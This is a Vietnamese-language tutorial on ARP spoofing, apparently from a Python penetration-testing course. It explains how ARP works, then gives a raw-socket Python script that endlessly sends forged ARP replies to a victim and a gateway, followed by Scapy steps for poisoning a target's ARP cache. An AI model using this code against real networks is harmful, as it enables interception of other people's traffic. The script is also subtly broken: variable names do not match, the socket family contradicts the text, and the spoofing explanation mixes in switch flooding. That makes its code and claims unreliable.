Thử nghiệm thâm nhập Python - Giả mạo ARP

ARP có thể được định nghĩa là một giao thức không trạng thái được sử dụng để ánh xạ địa chỉ Giao thức Internet (IP) với địa chỉ máy vật lý.

Hoạt động của ARP

Trong phần này, chúng ta sẽ tìm hiểu về hoạt động của ARP. Hãy xem xét các bước sau để hiểu cách ARP hoạt động -

  • Step 1 - Đầu tiên, khi một máy muốn giao tiếp với máy khác, nó phải tìm kiếm địa chỉ vật lý trong bảng ARP của nó.

  • Step 2 - Nếu nó tìm thấy địa chỉ vật lý của máy, gói tin sau khi chuyển đổi theo đúng độ dài của nó, sẽ được gửi đến máy mong muốn

  • Step 3 - Nhưng nếu không tìm thấy mục nhập nào cho địa chỉ IP trong bảng, ARP_request sẽ được phát qua mạng.

  • Step 4- Bây giờ, tất cả các máy trong mạng sẽ so sánh địa chỉ IP được quảng bá với địa chỉ MAC và nếu bất kỳ máy nào trong mạng xác định được địa chỉ đó, nó sẽ phản hồi ARP_request cùng với IP và địa chỉ MAC của nó. Thông báo ARP như vậy được gọi là ARP_reply.

  • Step 5 - Cuối cùng, máy gửi yêu cầu sẽ lưu trữ cặp địa chỉ trong bảng ARP của nó và toàn bộ giao tiếp sẽ diễn ra.

ARP Spoofing là gì?

Nó có thể được định nghĩa là một kiểu tấn công trong đó một tác nhân độc hại đang gửi một yêu cầu ARP giả mạo qua mạng cục bộ. ARP Poisoning còn được gọi là ARP Spoofing. Nó có thể được hiểu với sự trợ giúp của các điểm sau:

  • Giả mạo ARP đầu tiên, để làm quá tải công tắc, sẽ tạo ra một số lượng lớn các gói trả lời và yêu cầu ARP giả mạo.

  • Sau đó, công tắc sẽ được đặt ở chế độ chuyển tiếp.

  • Bây giờ, bảng ARP sẽ tràn ngập các phản hồi ARP giả mạo, để những kẻ tấn công có thể đánh hơi tất cả các gói mạng.

Triển khai bằng Python

Trong phần này, chúng ta sẽ hiểu việc triển khai giả mạo ARP trong Python. Đối với điều này, chúng tôi cần ba địa chỉ MAC - đầu tiên của nạn nhân, thứ hai của kẻ tấn công và thứ ba của cổng. Cùng với đó, chúng ta cũng cần sử dụng mã của giao thức ARP.

Hãy để chúng tôi nhập các mô-đun được yêu cầu như sau:

import socket
import struct
import binascii

Bây giờ, chúng ta sẽ tạo một socket, có ba tham số. Tham số đầu tiên cho chúng ta biết về giao diện gói (PF_PACKET cho Linux cụ thể và AF_INET cho windows), tham số thứ hai cho chúng ta biết liệu đó có phải là ổ cắm thô hay không và tham số thứ ba cho chúng ta biết về giao thức mà chúng ta quan tâm (ở đây 0x0800 được sử dụng cho IP giao thức).

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

Bây giờ chúng tôi sẽ cung cấp địa chỉ mac của kẻ tấn công, nạn nhân và máy cổng -

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

Chúng ta cần cung cấp mã của giao thức ARP như hình:

code ='\x08\x06'

Hai gói Ethernet, một cho máy nạn nhân và một cho máy cổng vào đã được tạo ra như sau:

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

Các dòng mã sau theo thứ tự phù hợp với tiêu đề ARP -

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

Bây giờ chúng ta cần cung cấp địa chỉ IP của máy cổng và máy nạn nhân (Giả sử chúng ta có các địa chỉ IP sau cho máy cổng và máy nạn nhân) -

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

Chuyển đổi các địa chỉ IP ở trên sang định dạng thập lục phân với sự trợ giúp của socket.inet_aton() phương pháp.

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

Thực hiện dòng mã sau để thay đổi địa chỉ IP của máy cổng.

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

Triển khai sử dụng Scapy trên Kali Linux

Giả mạo ARP có thể được thực hiện bằng cách sử dụng Scapy trên Kali Linux. Làm theo các bước sau để thực hiện tương tự -

Bước 1: Địa chỉ của máy tấn công

Trong bước này, chúng tôi sẽ tìm địa chỉ IP của máy tấn công bằng cách chạy lệnh ifconfig trên dấu nhắc lệnh của Kali Linux.

Bước 2: Địa chỉ của máy đích

Trong bước này, chúng tôi sẽ tìm địa chỉ IP của máy đích bằng cách chạy lệnh ifconfig trên dấu nhắc lệnh của Kali Linux, mà chúng ta cần mở trên một máy ảo khác.

Bước 3: Ping máy mục tiêu

Trong bước này, chúng ta cần ping máy mục tiêu từ máy kẻ tấn công với sự trợ giúp của lệnh sau:

Ping –c 192.168.43.85(say IP address of target machine)

Bước 4: Bộ nhớ cache ARP trên máy mục tiêu

Chúng ta đã biết rằng hai máy sử dụng gói ARP để trao đổi địa chỉ MAC, do đó sau bước 3, chúng ta có thể chạy lệnh sau trên máy đích để xem bộ đệm ARP -

arp -n

Bước 5: Tạo gói ARP bằng Scapy

Chúng ta có thể tạo các gói ARP với sự trợ giúp của Scapy như sau:

scapy
arp_packt = ARP()
arp_packt.display()

Bước 6: Gửi gói ARP độc hại bằng Scapy

Chúng tôi có thể gửi các gói ARP độc hại với sự trợ giúp của Scapy như sau:

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

Step 7: Again check ARP cache on target machine

Bây giờ nếu chúng ta kiểm tra lại bộ nhớ cache ARP trên máy mục tiêu thì chúng ta sẽ thấy địa chỉ giả '1.1.1.1'.